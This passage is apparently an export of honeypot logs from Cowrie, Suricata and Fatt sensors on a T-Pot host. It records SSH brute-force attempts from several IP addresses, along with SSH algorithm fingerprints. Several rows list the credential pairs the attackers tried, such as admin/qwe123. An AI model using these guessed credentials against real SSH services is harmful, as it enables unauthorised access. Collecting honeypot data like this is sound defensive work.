"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24254	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:30.031312+03	2021-09-20 14:15:08.54647+03	{"_id": "lQbkAnwBvYTbRNuEoxH1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1001768568564907, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 49896, "dest_port": 22, "timestamp": "2021-09-20T11:08:30.031312Z", "@timestamp": "2021-09-20T11:08:30.031Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24255	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:32.947989+03	2021-09-20 14:15:08.54747+03	{"_id": "5QbkAnwBvYTbRNuErRFS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:35066 (192.168.176.2:22) [session: 7fe8617cbda9]", "session": "7fe8617cbda9", "@version": "1", "protocol": "ssh", "src_port": 35066, "dest_port": 22, "timestamp": "2021-09-20T11:08:32.947989Z", "@timestamp": "2021-09-20T11:08:32.947Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24256	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:32.465871+03	2021-09-20 14:15:08.548472+03	{"_id": "7AbkAnwBvYTbRNuErRFS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [vagrant/vagrant] failed", "session": "a2b08340ec2e", "@version": "1", "password": "vagrant", "username": "vagrant", "timestamp": "2021-09-20T11:08:32.465871Z", "@timestamp": "2021-09-20T11:08:32.465Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24257	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:32.505788+03	2021-09-20 14:15:08.550471+03	{"_id": "4QbkAnwBvYTbRNuErRFR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "722ab1fe3887", "@version": "1", "duration": 2.835879325866699, "timestamp": "2021-09-20T11:08:32.505788Z", "@timestamp": "2021-09-20T11:08:32.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24258	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:32.958214+03	2021-09-20 14:15:08.55147+03	{"_id": "7gbkAnwBvYTbRNuErRFS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "209237faf1a6", "@version": "1", "duration": 3.5473601818084717, "timestamp": "2021-09-20T11:08:32.958214Z", "@timestamp": "2021-09-20T11:08:32.958Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24259	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:33.250855+03	2021-09-20 14:15:08.55247+03	{"_id": "4wbkAnwBvYTbRNuErRFR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [uploader/uploader] failed", "session": "41cf1d4c365f", "@version": "1", "password": "uploader", "username": "uploader", "timestamp": "2021-09-20T11:08:33.250855Z", "@timestamp": "2021-09-20T11:08:33.250Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24260	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:33.31372+03	2021-09-20 14:15:08.553471+03	{"_id": "5AbkAnwBvYTbRNuErRFR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [bruce/bruce123] failed", "session": "6dce4502b646", "@version": "1", "password": "bruce123", "username": "bruce", "timestamp": "2021-09-20T11:08:33.313720Z", "@timestamp": "2021-09-20T11:08:33.313Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24261	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:33.227061+03	2021-09-20 14:15:08.555471+03	{"_id": "8QbkAnwBvYTbRNuErxGw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1722002372049937, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35066, "dest_port": 22, "timestamp": "2021-09-20T11:08:33.227061Z", "@timestamp": "2021-09-20T11:08:33.227Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
36989	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:20.714853+03	2021-09-20 15:30:03.020868+03	{"_id": "JwYkA3wBvYTbRNuEk2av", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:20.714853Z", "@timestamp": "2021-09-20T12:18:20.714Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
24262	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:08:29.055671+03	2021-09-20 14:15:08.55647+03	{"_id": "aAbkAnwBvYTbRNuEoBEN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 709401554757069, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38350, "dest_port": 22, "timestamp": "2021-09-20T11:08:29.055671Z", "@timestamp": "2021-09-20T11:08:29.055Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24263	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:29.976754+03	2021-09-20 14:15:08.55747+03	{"_id": "bwbkAnwBvYTbRNuEoBHz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38000, "timestamp": "2021-09-20T11:08:29.976754", "@timestamp": "2021-09-20T11:08:29.976Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24264	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:08:38.568837+03	2021-09-20 14:15:08.55847+03	{"_id": "hgbkAnwBvYTbRNuExBIr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44968, "dest_port": 22, "timestamp": "2021-09-20T11:08:38.568837", "@timestamp": "2021-09-20T11:08:38.568Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24265	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:38.943824+03	2021-09-20 14:15:08.560471+03	{"_id": "hwbkAnwBvYTbRNuExBIr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43154, "timestamp": "2021-09-20T11:08:38.943824", "@timestamp": "2021-09-20T11:08:38.943Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24292	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:39.896549+03	2021-09-20 14:15:08.5955+03	{"_id": "ywbkAnwBvYTbRNuEyBK5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/qwe123] failed", "session": "ef624ded0e0c", "@version": "1", "password": "qwe123", "username": "admin", "timestamp": "2021-09-20T11:08:39.896549Z", "@timestamp": "2021-09-20T11:08:39.896Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24266	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:08:38.923288+03	2021-09-20 14:15:08.56147+03	{"_id": "iAbkAnwBvYTbRNuExBIr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": 